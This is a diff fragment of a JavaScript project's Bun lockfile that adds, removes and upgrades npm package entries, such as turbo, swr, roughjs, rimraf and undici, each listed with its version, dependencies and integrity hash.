"react-speech-recognition": ["react-speech-recognition@3.10.0", "", { "peerDependencies": { "react": ">=16.8.0" } }, "sha512-EVSr4Ik8l9urwdPiK2r0+ADrLyDDrjB0qBRdUWO+w2MfwEBrj6NuRmy1GD3x7BU/V6/hab0pl8Lupen0zwlJyw=="],
@@ -4057,8 +4319,6 @@
"regenerator-runtime": ["regenerator-runtime@0.14.1", "", {}, "sha512-dYnhHh0nJoMfnkZs6GmmhFknAGRrLznOu5nc9ML+EJxGvrx6H7teuevqVqCuPcPK//3eDrrjQhehXVx9cnkGdw=="],
- "regenerator-transform": ["regenerator-transform@0.15.2", "", { "dependencies": { "@babel/runtime": "^7.8.4" } }, "sha512-hfMp2BoF0qOk3uc5V20ALGDS2ddjQaLrdl7xrGXvAIow7qeWRM2VA2HuCHkUKk9slq3VwEwLNK3DFBqDfPGYtg=="],
-
"regexp.prototype.flags": ["regexp.prototype.flags@1.5.4", "", { "dependencies": { "call-bind": "^1.0.8", "define-properties": "^1.2.1", "es-errors": "^1.3.0", "get-proto": "^1.0.1", "gopd": "^1.2.0", "set-function-name": "^2.0.2" } }, "sha512-dYqgNSZbDwkaJ2ceRd9ojCGjBq+mOm9LmtXnAnEGyHhN/5R7iDW2TRw3h+o/jCFxus3P2LfWIIiwowAjANm7IA=="],
"regexpu-core": ["regexpu-core@6.2.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.0", "regjsgen": "^0.8.0", "regjsparser": "^0.12.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.1.0" } }, "sha512-H66BPQMrv+V16t8xtmq+UC0CBpiTBA60V8ibS1QVReIp8T1z8hwFxqcGzm9K6lgsN7sB5edVH8a+ze6Fqm4weA=="],
@@ -4097,8 +4357,6 @@
"requireindex": ["requireindex@1.1.0", "", {}, "sha512-LBnkqsDE7BZKvqylbmn7lTIVdpx4K/QCduRATpO5R+wtPmky/a8pN1bO2D6wXppn1497AJF9mNjqAXr6bdl9jg=="],
- "requires-port": ["requires-port@1.0.0", "", {}, "sha512-KigOCHcocU3XODJxsu8i/j8T9tzT4adHiecwORRQ0ZZFcp7ahwXuRU1m+yuO90C5ZUyGeGfocHDI14M3L3yDAQ=="],
-
"resolve": ["resolve@2.0.0-next.5", "", { "dependencies": { "is-core-module": "^2.13.0", "path-parse": "^1.0.7", "supports-preserve-symlinks-flag": "^1.0.0" }, "bin": "bin/resolve" }, "sha512-U7WjGVG9sH8tvjW5SmGbQuui75FiyjAX72HX15DwBBwF9dNiQZRQAg9nnPhYy+TUnE0+VcrttuvNI8oSxZcocA=="],
"resolve-cwd": ["resolve-cwd@3.0.0", "", { "dependencies": { "resolve-from": "^5.0.0" } }, "sha512-OrZaX2Mb+rJCpH/6CpSqt9xFVpN++x01XnN2ie9g6P5/3xelLAkXWVADpdz1IHD/KFfEXyE6V0U01OQ3UO2rEg=="],
@@ -4115,10 +4373,12 @@
"rfdc": ["rfdc@1.4.1", "", {}, "sha512-q1b3N5QkRUWUl7iyylaaj3kOpIT0N2i9MqIEQXP73GVsN9cw3fdx8X63cEmWhJGi2PPCF23Ijp7ktmd39rawIA=="],
- "rimraf": ["rimraf@6.1.2", "", { "dependencies": { "glob": "^13.0.0", "package-json-from-dist": "^1.0.1" }, "bin": "dist/esm/bin.mjs" }, "sha512-cFCkPslJv7BAXJsYlK1dZsbP8/ZNLkCAQ0bi1hf5EKX2QHegmDFEFA6QhuYJlk7UDdc+02JjO80YSOrWPpw06g=="],
+ "rimraf": ["rimraf@6.1.3", "", { "dependencies": { "glob": "^13.0.3", "package-json-from-dist": "^1.0.1" }, "bin": { "rimraf": "dist/esm/bin.mjs" } }, "sha512-LKg+Cr2ZF61fkcaK1UdkH2yEBBKnYjTyWzTJT6KNPcSPaiT7HSdhtMXQuN5wkTX0Xu72KQ1l8S42rlmexS2hSA=="],
"ripemd160": ["ripemd160@2.0.2", "", { "dependencies": { "hash-base": "^3.0.0", "inherits": "^2.0.1" } }, "sha512-ii4iagi25WusVoiC4B4lq7pbXfAp3D9v5CwfkY33vffw2+pkDjY1D8GaN7spsxvCSx8dkPqOZCEZyfxcmJG2IA=="],
+ "robust-predicates": ["robust-predicates@3.0.2", "", {}, "sha512-IXgzBWvWQwE6PrDI05OvmXUIruQTcoMDzRsOd5CDvHCVLcLHMTSYvOK5Cm46kWqlV3yAbuSpBZdJ5oP5OUoStg=="],
+
"rollup": ["rollup@4.37.0", "", { "dependencies": { "@types/estree": "1.0.6" }, "optionalDependencies": { "@rollup/rollup-android-arm-eabi": "4.37.0", "@rollup/rollup-android-arm64": "4.37.0", "@rollup/rollup-darwin-arm64": "4.37.0", "@rollup/rollup-darwin-x64": "4.37.0", "@rollup/rollup-freebsd-arm64": "4.37.0", "@rollup/rollup-freebsd-x64": "4.37.0", "@rollup/rollup-linux-arm-gnueabihf": "4.37.0", "@rollup/rollup-linux-arm-musleabihf": "4.37.0", "@rollup/rollup-linux-arm64-gnu": "4.37.0", "@rollup/rollup-linux-arm64-musl": "4.37.0", "@rollup/rollup-linux-loongarch64-gnu": "4.37.0", "@rollup/rollup-linux-powerpc64le-gnu": "4.37.0", "@rollup/rollup-linux-riscv64-gnu": "4.37.0", "@rollup/rollup-linux-riscv64-musl": "4.37.0", "@rollup/rollup-linux-s390x-gnu": "4.37.0", "@rollup/rollup-linux-x64-gnu": "4.37.0", "@rollup/rollup-linux-x64-musl": "4.37.0", "@rollup/rollup-win32-arm64-msvc": "4.37.0", "@rollup/rollup-win32-ia32-msvc": "4.37.0", "@rollup/rollup-win32-x64-msvc": "4.37.0", "fsevents": "~2.3.2" }, "bin": "dist/bin/rollup" }, "sha512-iAtQy/L4QFU+rTJ1YUjXqJOJzuwEghqWzCEYD2FEghT7Gsy1VdABntrO4CLopA5IkflTyqNiLNwPcOJ3S7UKLg=="],
"rollup-plugin-peer-deps-external": ["rollup-plugin-peer-deps-external@2.2.4", "", { "peerDependencies": { "rollup": "*" } }, "sha512-AWdukIM1+k5JDdAqV/Cxd+nejvno2FVLVeZ74NKggm3Q5s9cbbcOgUPGdbxPi4BXu7xGaZ8HG12F+thImYu/0g=="],
@@ -4129,6 +4389,8 @@
"rollup-pluginutils": ["rollup-pluginutils@2.8.2", "", { "dependencies": { "estree-walker": "^0.6.1" } }, "sha512-EEp9NhnUkwY8aif6bxgovPHMoMoNr2FulJziTndpt5H9RdwC47GSGuII9XxpSdzVGM0GWrNPHV6ie1LTNJPaLQ=="],
+ "roughjs": ["roughjs@4.6.6", "", { "dependencies": { "hachure-fill": "^0.5.2", "path-data-parser": "^0.1.0", "points-on-curve": "^0.2.0", "points-on-path": "^0.2.1" } }, "sha512-ZUz/69+SYpFN/g/lUlo2FXcIjRkSu3nDarreVdGGndHEBJ6cXPdKguS8JGxwj5HA5xIbVKSmLgr5b3AWxtRfvQ=="],
+
"router": ["router@2.2.0", "", { "dependencies": { "debug": "^4.4.0", "depd": "^2.0.0", "is-promise": "^4.0.0", "parseurl": "^1.3.3", "path-to-regexp": "^8.0.0" } }, "sha512-nLTrUKm2UyiL7rlhapu/Zl45FwNgkZGaCpZbIHajDYgwlJCOzLSk+cIPAnsEqV955GjILJnKbdQC1nVPz+gAYQ=="],
"rrweb-cssom": ["rrweb-cssom@0.8.0", "", {}, "sha512-guoltQEx+9aMf2gDZ0s62EcV8lsXR+0w8915TC3ITdn2YueuNjdAYh/levpU9nFaoChh9RUS5ZdQMrKfVEN9tw=="],
@@ -4137,6 +4399,8 @@
"run-parallel": ["run-parallel@1.2.0", "", { "dependencies": { "queue-microtask": "^1.2.2" } }, "sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA=="],
+ "rw": ["rw@1.3.3", "", {}, "sha512-PdhdWy89SiZogBLaw42zdeqtRJ//zFd2PgQavcICDUgJT5oW10QCRKbJ6bg4r0/UY2M6BWd5tkxuGFRvCkgfHQ=="],
+
"safe-array-concat": ["safe-array-concat@1.1.3", "", { "dependencies": { "call-bind": "^1.0.8", "call-bound": "^1.0.2", "get-intrinsic": "^1.2.6", "has-symbols": "^1.1.0", "isarray": "^2.0.5" } }, "sha512-AURm5f0jYEOydBj7VQlVvDrjeFgthDdEF5H1dP+6mNpoXOMo1quQqJ4wvJDyRZ9+pO3kGWoOdmV08cSv2aJV6Q=="],
"safe-buffer": ["safe-buffer@5.2.1", "", {}, "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ=="],
@@ -4157,15 +4421,13 @@
"scheduler": ["scheduler@0.23.2", "", { "dependencies": { "loose-envify": "^1.1.0" } }, "sha512-UOShsPwz7NrMUqhR6t0hWjFduvOzbtv7toDH1/hIrfRNIDBnnBWd0CwJTGvTpngVlmwGCdP9/Zl/tVrDqcuYzQ=="],
- "schema-utils": ["schema-utils@3.3.0", "", { "dependencies": { "@types/json-schema": "^7.0.8", "ajv": "^6.12.5", "ajv-keywords": "^3.5.2" } }, "sha512-pN/yOAvcC+5rQ5nERGuwrjLlYvLTbCibnZ1I7B1LaiAz9BRBlE9GMgE/eqV30P7aJQUf7Ddimy/RsbYO/GrVGg=="],
-
"seedrandom": ["seedrandom@3.0.5", "", {}, "sha512-8OwmbklUNzwezjGInmZ+2clQmExQPvomqjL7LFqOYqtmuxRgQYqOD3mHaU+MvZn5FLUeVxVfQjwLZW/n/JFuqg=="],
"semver": ["semver@6.3.1", "", { "bin": "bin/semver.js" }, "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA=="],
"send": ["send@1.2.0", "", { "dependencies": { "debug": "^4.3.5", "encodeurl": "^2.0.0", "escape-html": "^1.0.3", "etag": "^1.8.1", "fresh": "^2.0.0", "http-errors": "^2.0.0", "mime-types": "^3.0.1", "ms": "^2.1.3", "on-finished": "^2.4.1", "range-parser": "^1.2.1", "statuses": "^2.0.1" } }, "sha512-uaW0WwXKpL9blXE2o0bRhoL2EGXIrZxQ2ZQ4mgcfoBxdFmQold+qWsD2jLrfZ0trjKL6vOw0j//eAwcALFjKSw=="],
- "serialize-javascript": ["serialize-javascript@6.0.2", "", { "dependencies": { "randombytes": "^2.1.0" } }, "sha512-Saa1xPByTTq2gdeFZYLLo+RFE35NHZkAbqZeWNd3BpzppeVisAqpDjcp8dyf6uIvEqJRd46jemmyA4iFIeVk8g=="],
+ "serialize-javascript": ["serialize-javascript@7.0.4", "", {}, "sha512-DuGdB+Po43Q5Jxwpzt1lhyFSYKryqoNjQSA9M92tyw0lyHIOur+XCalOUe0KTJpyqzT8+fQ5A0Jf7vCx/NKmIg=="],
"serve-static": ["serve-static@2.2.0", "", { "dependencies": { "encodeurl": "^2.0.0", "escape-html": "^1.0.3", "parseurl": "^1.3.3", "send": "^1.2.0" } }, "sha512-61g9pCh0Vnh7IutZjtLGGpTA355+OPn2TyDv/6ivP2h/AdAVX9azsoxmg2/M6nZeQZNYBEwIcsne1mJd9oQItQ=="],
@@ -4237,6 +4499,8 @@
"standard-as-callback": ["standard-as-callback@2.1.0", "", {}, "sha512-qoRRSyROncaz1z0mvYqIE4lCd9p2R90i6GxW3uZv5ucSu8tU7B5HXUP1gG8pVZsYNVaXjk8ClXHPttLyxAL48A=="],
+ "state-local": ["state-local@1.0.7", "", {}, "sha512-HTEHMNieakEnoe33shBYcZ7NX83ACUjCu8c40iOGEZsngj9zRnkqS9j1pqQPXwobB0ZcVTk27REb7COQ0UR59w=="],
+
"static-browser-server": ["static-browser-server@1.0.3", "", { "dependencies": { "@open-draft/deferred-promise": "^2.1.0", "dotenv": "^16.0.3", "mime-db": "^1.52.0", "outvariant": "^1.3.0" } }, "sha512-ZUyfgGDdFRbZGGJQ1YhiM930Yczz5VlbJObrQLlk24+qNHVQx4OlLcYswEUo3bIyNAbQUIUR9Yr5/Hqjzqb4zA=="],
"statuses": ["statuses@2.0.1", "", {}, "sha512-RwNA9Z/7PrK06rYLIzFMlaF+l73iwpzsqRIFgbMLbTcLD6cOao82TaWefPXQvB2fOC4AjuYSEndS7N/mTCbkdQ=="],
@@ -4297,7 +4561,7 @@
"strip-json-comments": ["strip-json-comments@3.1.1", "", {}, "sha512-6fPc+R4ihwqP6N/aIv2f1gMH8lOVtWQHoqC4yK6oSDVVocumAsfCqjkXnqiYMhmMwS/mEHLp7Vehlt3ql6lEig=="],
- "strnum": ["strnum@1.0.5", "", {}, "sha512-J8bbNyKKXl5qYcR36TIO8W3mVGVHrmmxsd5PAItGkmyzwJvybiw2IVq5nqd0i4LSNSkB/sx9VHllbfFdr9k1JA=="],
+ "strnum": ["strnum@2.2.0", "", {}, "sha512-Y7Bj8XyJxnPAORMZj/xltsfo55uOiyHcU2tnAVzHUnSJR/KsEX+9RoDeXEnsXtl/CX4fAcrt64gZ13aGaWPeBg=="],
"strtok3": ["strtok3@7.0.0", "", { "dependencies": { "@tokenizer/token": "^0.3.0", "peek-readable": "^5.0.0" } }, "sha512-pQ+V+nYQdC5H3Q7qBZAz/MO6lwGhoC2gOAjuouGf/VO0m7vQRh8QNMl2Uf6SwAtzZ9bOw3UIeBukEGNJl5dtXQ=="],
@@ -4309,6 +4573,8 @@
"stylehacks": ["stylehacks@5.1.1", "", { "dependencies": { "browserslist": "^4.21.4", "postcss-selector-parser": "^6.0.4" }, "peerDependencies": { "postcss": "^8.2.15" } }, "sha512-sBpcd5Hx7G6seo7b1LkpttvTz7ikD0LlH5RmdcBNb6fFR0Fl7LQwHDFr300q4cwUqi+IYrFGmsIHieMBfnN/Bw=="],
+ "stylis": ["stylis@4.3.6", "", {}, "sha512-yQ3rwFWRfwNUY7H5vpU0wfdkNSnvnJinhF9830Swlaxl03zsOjCfmX0ugac+3LtK0lYSgwL/KXc8oYL3mG4YFQ=="],
+
"sucrase": ["sucrase@3.35.0", "", { "dependencies": { "@jridgewell/gen-mapping": "^0.3.2", "commander": "^4.0.0", "glob": "^10.3.10", "lines-and-columns": "^1.1.6", "mz": "^2.7.0", "pirates": "^4.0.1", "ts-interface-checker": "^0.1.9" }, "bin": { "sucrase": "bin/sucrase", "sucrase-node": "bin/sucrase-node" } }, "sha512-8EbVDiu9iN/nESwxeSxDKe0dunta1GOlHufmSSXxMD2z2/tMZpDMpvXQGsc+ajGo8y2uYUmixaSRUc/QPoQ0GA=="],
"superagent": ["superagent@9.0.2", "", { "dependencies": { "component-emitter": "^1.3.0", "cookiejar": "^2.1.4", "debug": "^4.3.4", "fast-safe-stringify": "^2.1.1", "form-data": "^4.0.0", "formidable": "^3.5.1", "methods": "^1.1.2", "mime": "2.6.0", "qs": "^6.11.0" } }, "sha512-xuW7dzkUpcJq7QnhOsnNUgtYp3xRwpt2F7abdRYIpCsAt0hhUqia0EdxyXZQQpNmGtsCzYHryaKSV3q3GJnq7w=="],
@@ -4321,7 +4587,9 @@
"supports-preserve-symlinks-flag": ["supports-preserve-symlinks-flag@1.0.0", "", {}, "sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w=="],
- "svgo": ["svgo@2.8.0", "", { "dependencies": { "@trysound/sax": "0.2.0", "commander": "^7.2.0", "css-select": "^4.1.3", "css-tree": "^1.1.3", "csso": "^4.2.0", "picocolors": "^1.0.0", "stable": "^0.1.8" }, "bin": "bin/svgo" }, "sha512-+N/Q9kV1+F+UeWYoSiULYo4xYSDQlTgb+ayMobAXPwMnLvop7oxKMo9OzIrX5x3eS4L4f2UHhc9axXwY8DpChg=="],
+ "svgo": ["svgo@2.8.2", "", { "dependencies": { "commander": "^7.2.0", "css-select": "^4.1.3", "css-tree": "^1.1.3", "csso": "^4.2.0", "picocolors": "^1.0.0", "sax": "^1.5.0", "stable": "^0.1.8" }, "bin": "./bin/svgo" }, "sha512-TyzE4NVGLUFy+H/Uy4N6c3G0HEeprsVfge6Lmq+0FdQQ/zqoVYB62IsBZORsiL+o96s6ff/V6/3UQo/C0cgCAA=="],
+
+ "swr": ["swr@2.4.1", "", { "dependencies": { "dequal": "^2.0.3", "use-sync-external-store": "^1.6.0" }, "peerDependencies": { "react": "^16.11.0 || ^17.0.0 || ^18.0.0 || ^19.0.0" } }, "sha512-2CC6CiKQtEwaEeNiqWTAw9PGykW8SR5zZX8MZk6TeAvEAnVS7Visz8WzphqgtQ8v2xz/4Q5K+j+SeMaKXeeQIA=="],
"symbol-tree": ["symbol-tree@3.2.4", "", {}, "sha512-9QNk5KwDF+Bvz+PyObkmSYjI5ksVUYtjW7AU22r2NKcfLJcXp96hkDWU3+XndOsUb+AQ9QhfzfCT2O+CNWT5Tw=="],
@@ -4349,8 +4617,6 @@
"terser": ["terser@5.27.0", "", { "dependencies": { "@jridgewell/source-map": "^0.3.3", "acorn": "^8.8.2", "commander": "^2.20.0", "source-map-support": "~0.5.20" }, "bin": "bin/terser" }, "sha512-bi1HRwVRskAjheeYl291n3JC4GgO/Ty4z1nVs5AAsmonJulGxpSektecnNedrwK9C7vpvVtcX3cw00VSLt7U2A=="],
- "terser-webpack-plugin": ["terser-webpack-plugin@5.3.10", "", { "dependencies": { "@jridgewell/trace-mapping": "^0.3.20", "jest-worker": "^27.4.5", "schema-utils": "^3.1.1", "serialize-javascript": "^6.0.1", "terser": "^5.26.0" }, "peerDependencies": { "webpack": "^5.1.0" } }, "sha512-BKFPWlPDndPs+NGGCr1U59t0XScL5317Y0UReNrHaw9/FwhPENlq6bfgs+4yPfyP51vqC1bQ4rp1EfXW5ZSH9w=="],
-
"test-exclude": ["test-exclude@6.0.0", "", { "dependencies": { "@istanbuljs/schema": "^0.1.2", "glob": "^7.1.4", "minimatch": "^3.0.4" } }, "sha512-cAGWPIyOHU6zlmg88jwm7VRyXnMN7iV68OGAbYDk/Mh/xC/pzVPlQtY6ngoIH/5/tciuhGfvESU8GrHrcxD56w=="],
"text-decoder": ["text-decoder@1.2.3", "", { "dependencies": { "b4a": "^1.6.4" } }, "sha512-3/o9z3X0X0fTupwsYvR03pJ/DjWuqqrfwBgTQzdWDiQSm9KitAyz/9WqsT2JQW7KV2m+bC2ol/zqpW37NHxLaA=="],
@@ -4367,7 +4633,9 @@
"tiny-emitter": ["tiny-emitter@2.1.0", "", {}, "sha512-NB6Dk1A9xgQPMoGqC5CVXn123gWyte215ONT5Pp5a0yt4nlEoO1ZWeCwpncaekPHXO60i47ihFnZPiRPjRMq4Q=="],
- "tinyglobby": ["tinyglobby@0.2.13", "", { "dependencies": { "fdir": "^6.4.4", "picomatch": "^4.0.2" } }, "sha512-mEwzpUgrLySlveBwEVDMKk5B57bhLPYovRfPAXD5gA/98Opn0rCDj3GtLwFvCvH5RK9uPCExUROW5NjDwvqkxw=="],
+ "tinyexec": ["tinyexec@1.0.2", "", {}, "sha512-W/KYk+NFhkmsYpuHq5JykngiOCnxeVL8v8dFnqxSD8qEEdRfXk1SDM6JzNqcERbcGYj9tMrDQBYV9cjgnunFIg=="],
+
+ "tinyglobby": ["tinyglobby@0.2.15", "", { "dependencies": { "fdir": "^6.5.0", "picomatch": "^4.0.3" } }, "sha512-j2Zq4NyQYG5XMST4cbs02Ak8iJUdxRM0XI5QyxXuZOzKOINmWurp3smXu3y5wDcJrptwpSjgXHzIQxR0omXljQ=="],
"tldts": ["tldts@6.1.86", "", { "dependencies": { "tldts-core": "^6.1.86" }, "bin": { "tldts": "bin/cli.js" } }, "sha512-WMi/OQ2axVTf/ykqCQgXiIct+mSQDFdH2fkwhPwgEwvJ1kSzZRiinb0zF2Xb8u4+OqPChmyI6MEu4EezNJz+FQ=="],
@@ -4403,8 +4671,12 @@
"ts-api-utils": ["ts-api-utils@2.0.1", "", { "peerDependencies": { "typescript": ">=4.8.4" } }, "sha512-dnlgjFSVetynI8nzgJ+qF62efpglpWRk8isUEWZGWlJYySCTD6aKvbUDu+zbPeDakk3bg5H4XpitHukgfL1m9w=="],
+ "ts-dedent": ["ts-dedent@2.2.0", "", {}, "sha512-q5W7tVM71e2xjHZTlgfTDoPF/SmqKG5hddq9SzR49CH2hayqRKJtQ4mtRlSxKaJlR/+9rEM+mnBHf7I2/BQcpQ=="],
+
"ts-interface-checker": ["ts-interface-checker@0.1.13", "", {}, "sha512-Y/arvbn+rrz3JCKl9C4kVNfTfSm2/mEp5FSz5EsZSANGPSlQrpRI5M4PKF+mJnE52jOO90PnPSc3Ur3bTQw0gA=="],
+ "ts-md5": ["ts-md5@1.3.1", "", {}, "sha512-DiwiXfwvcTeZ5wCE0z+2A9EseZsztaiZtGrtSaY5JOD7ekPnR/GoIVD5gXZAlK9Na9Kvpo9Waz5rW64WKAWApg=="],
+
"ts-node": ["ts-node@10.9.2", "", { "dependencies": { "@cspotcode/source-map-support": "^0.8.0", "@tsconfig/node10": "^1.0.7", "@tsconfig/node12": "^1.0.7", "@tsconfig/node14": "^1.0.0", "@tsconfig/node16": "^1.0.2", "acorn": "^8.4.1", "acorn-walk": "^8.1.1", "arg": "^4.1.0", "create-require": "^1.1.0", "diff": "^4.0.1", "make-error": "^1.1.1", "v8-compile-cache-lib": "^3.0.1", "yn": "3.1.1" }, "peerDependencies": { "@swc/core": ">=1.2.50", "@swc/wasm": ">=1.2.50", "@types/node": "*", "typescript": ">=2.7" }, "optionalPeers": ["@swc/core", "@swc/wasm"], "bin": { "ts-node": "dist/bin.js", "ts-node-cwd": "dist/bin-cwd.js", "ts-node-esm": "dist/bin-esm.js", "ts-node-script": "dist/bin-script.js", "ts-node-transpile-only": "dist/bin-transpile.js", "ts-script": "dist/bin-script-deprecated.js" } }, "sha512-f0FFpIdcHgn8zcPSbf1dRevwt047YMnaiJM3u2w2RewrB+fob/zePZcrOyQoLMMO7aBIddLcQIEK5dYjkLnGrQ=="],
"tsconfig-paths": ["tsconfig-paths@3.15.0", "", { "dependencies": { "@types/json5": "^0.0.29", "json5": "^1.0.2", "minimist": "^1.2.6", "strip-bom": "^3.0.0" } }, "sha512-2Ac2RgzDe/cn48GvOe3M+o82pEFewD3UPbyoUHHdKasHwJKjds4fLXWf/Ux5kATBKN20oaFGu+jbElp1pos0mg=="],
@@ -4413,6 +4685,20 @@
"tty-browserify": ["tty-browserify@0.0.1", "", {}, "sha512-C3TaO7K81YvjCgQH9Q1S3R3P3BtN3RIM8n+OvX4il1K1zgE8ZhI0op7kClgkxtutIE8hQrcrHBXvIheqKUUCxw=="],
+ "turbo": ["turbo@2.8.14", "", { "optionalDependencies": { "turbo-darwin-64": "2.8.14", "turbo-darwin-arm64": "2.8.14", "turbo-linux-64": "2.8.14", "turbo-linux-arm64": "2.8.14", "turbo-windows-64": "2.8.14", "turbo-windows-arm64": "2.8.14" }, "bin": { "turbo": "bin/turbo" } }, "sha512-UCTxeMNYT1cKaHiIFdLCQ7ulI+jw5i5uOnJOrRXsgUD7G3+OjlUjwVd7JfeVt2McWSVGjYA3EVW/v1FSsJ5DtA=="],
+
+ "turbo-darwin-64": ["turbo-darwin-64@2.8.14", "", { "os": "darwin", "cpu": "x64" }, "sha512-9sFi7n2lLfEsGWi5OEoA/eTtQU2BPKtzSYKqufMtDeRmqMT9vKjbv9gJCRkllSVE9BOXA0qXC3diyX8V8rKIKw=="],
+
+ "turbo-darwin-arm64": ["turbo-darwin-arm64@2.8.14", "", { "os": "darwin", "cpu": "arm64" }, "sha512-aS4yJuy6A1PCLws+PJpZP0qCURG8Y5iVx13z/WAbKyeDTY6W6PiGgcEllSaeLGxyn++382ztN/EZH85n2zZ6VQ=="],
+
+ "turbo-linux-64": ["turbo-linux-64@2.8.14", "", { "os": "linux", "cpu": "x64" }, "sha512-XC6wPUDJkakjhNLaS0NrHDMiujRVjH+naEAwvKLArgqRaFkNxjmyNDRM4eu3soMMFmjym6NTxYaF74rvET+Orw=="],
+
+ "turbo-linux-arm64": ["turbo-linux-arm64@2.8.14", "", { "os": "linux", "cpu": "arm64" }, "sha512-ChfE7isyVNjZrVSPDwcfqcHLG/FuIBbOFxnt1FM8vSuBGzHAs8AlTdwFNIxlEMJfZ8Ad9mdMxdmsCUPIWiQ6cg=="],
+
+ "turbo-windows-64": ["turbo-windows-64@2.8.14", "", { "os": "win32", "cpu": "x64" }, "sha512-FTbIeQL1ycLFW2t9uQNMy+bRSzi3Xhwun/e7ZhFBdM+U0VZxxrtfYEBM9CHOejlfqomk6Jh7aRz0sJoqYn39Hg=="],
+
+ "turbo-windows-arm64": ["turbo-windows-arm64@2.8.14", "", { "os": "win32", "cpu": "arm64" }, "sha512-KgZX12cTyhY030qS7ieT8zRkhZZE2VWJasDFVUSVVn17nR7IShpv68/7j5UqJNeRLIGF1XPK0phsP5V5yw3how=="],
+
"type": ["type@2.7.3", "", {}, "sha512-8j+1QmAbPvLZow5Qpi6NCaN8FB60p/6x8/vfNqOk/hC+HuvFZhL4+WfekuhQLiqFZXOgQdrs3B+XxEmCc6b3FQ=="],
"type-check": ["type-check@0.4.0", "", { "dependencies": { "prelude-ls": "^1.2.1" } }, "sha512-XleUoc9uwGXqjWwXaUTZAmzMcFZ5858QA2vvx1Ur5xIcixXIP+8LnFDgRplU30us6teqdlskFfu+ae4K79Ooew=="],
@@ -4441,6 +4727,8 @@
"ua-parser-js": ["ua-parser-js@1.0.37", "", {}, "sha512-bhTyI94tZofjo+Dn8SN6Zv8nBDvyXTymAdM3LDI/0IboIUwTu1rEhW7v2TfiVsoYWgkQ4kOVqnI8APUFbIQIFQ=="],
+ "ufo": ["ufo@1.6.3", "", {}, "sha512-yDJTmhydvl5lJzBmy/hyOAA0d+aqCBuwl818haVdYCRrWV84o7YyeVm4QlVHStqNrrJSTb6jKuFAVqAFsr+K3Q=="],
+
"uglify-js": ["uglify-js@3.17.4", "", { "bin": { "uglifyjs": "bin/uglifyjs" } }, "sha512-T9q82TJI9e/C1TAxYvfb16xO120tMVFZrGA3f9/P4424DNu6ypK103y0GPFVa17yotwSyZW5iYXgjYHkGrJW/g=="],
"uid-safe": ["uid-safe@2.1.5", "", { "dependencies": { "random-bytes": "~1.0.0" } }, "sha512-KPHm4VL5dDXKz01UuEd88Df+KzynaohSL9fBh096KWAxSKZQDI2uBrVqtvRM4rwrIrRRKsdLNML/lnaaVSRioA=="],
@@ -4451,7 +4739,9 @@
"undefsafe": ["undefsafe@2.0.5", "", {}, "sha512-WxONCrssBM8TSPRqN5EmsjVrsv4A8X12J4ArBiiayv3DyyG3ZlIg6yysuuSYdZsVz3TKcTg2fd//Ujd4CHV1iA=="],
- "undici": ["undici@7.16.0", "", {}, "sha512-QEg3HPMll0o3t2ourKwOeUAZ159Kn9mx5pnzHRQO8+Wixmh88YdZRiIwat0iNzNNXn0yoEtXJqFpyW7eM8BV7g=="],
+ "underscore": ["underscore@1.13.8", "", {}, "sha512-DXtD3ZtEQzc7M8m4cXotyHR+FAS18C64asBYY5vqZexfYryNNnDc02W4hKg3rdQuqOYas1jkseX0+nZXjTXnvQ=="],
+
+ "undici": ["undici@7.22.0", "", {}, "sha512-RqslV2Us5BrllB+JeiZnK4peryVTndy9Dnqq62S3yYRRTj0tFQCwEniUy2167skdGOy3vqRzEvl1Dm4sV2ReDg=="],
"undici-types": ["undici-types@5.26.5", "", {}, "sha512-JlCMO+ehdEIKqlFxk6IfVoAUVmgz7cU7zD/h9XZ0qzeosSHmUJVOzSQvvYSYWXkFXC+IfLKSIffhv0sVZup6pA=="],
@@ -4495,10 +4785,6 @@
"url": ["url@0.11.4", "", { "dependencies": { "punycode": "^1.4.1", "qs": "^6.12.3" } }, "sha512-oCwdVC7mTuWiPyjLUz/COz5TLk6wgp0RCsN+wHZ2Ekneac9w8uuV0njcbbie2ME+Vs+d6duwmYuR3HgQXs1fOg=="],
- "url-parse": ["url-parse@1.5.10", "", { "dependencies": { "querystringify": "^2.1.1", "requires-port": "^1.0.0" } }, "sha512-WypcfiRhfeUP9vvF0j6rw0J3hrWrw6iZv3+22h6iRMJ/8z1Tj6XfLP4DsUix5MhMPnXpiHDoKyoZ/bdCkwBCiQ=="],
-
- "url-template": ["url-template@2.0.8", "", {}, "sha512-XdVKMF4SJ0nP/O7XIPB0JwAEuT9lDIYnNsK8yGVe43y0AWoKeJNdv3ZNWh7ksJ6KqQFjOO6ox/VEitLnaVNufw=="],
-
"use-callback-ref": ["use-callback-ref@1.3.3", "", { "dependencies": { "tslib": "^2.0.0" }, "peerDependencies": { "@types/react": "*", "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 || ^19.0.0-rc" } }, "sha512-jQL3lRnocaFtu3V00JToYz/4QkNWswxijDaCVNZRiRTO3HQDLsdu1ZtmIUvV4yPp+rvWm5j0y0TG/S61cuijTg=="],
"use-composed-ref": ["use-composed-ref@1.3.0", "", { "peerDependencies": { "react": "^16.8.0 || ^17.0.0 || ^18.0.0" } }, "sha512-GLMG0Jc/jiKov/3Ulid1wbv3r54K9HlMW29IWcDFPEqFkSO2nS0MuefWgMJpeHQ9YJeXDL3ZUF+P3jdXlZX/cQ=="],
@@ -4535,36 +4821,42 @@
"vfile-message": ["vfile-message@4.0.2", "", { "dependencies": { "@types/unist": "^3.0.0", "unist-util-stringify-position": "^4.0.0" } }, "sha512-jRDZ1IMLttGj41KcZvlrYAaI3CfqpLpfpf+Mfig13viT6NKvRzWZ+lXz0Y5D60w6uJIBAOGq9mSHf0gktF0duw=="],
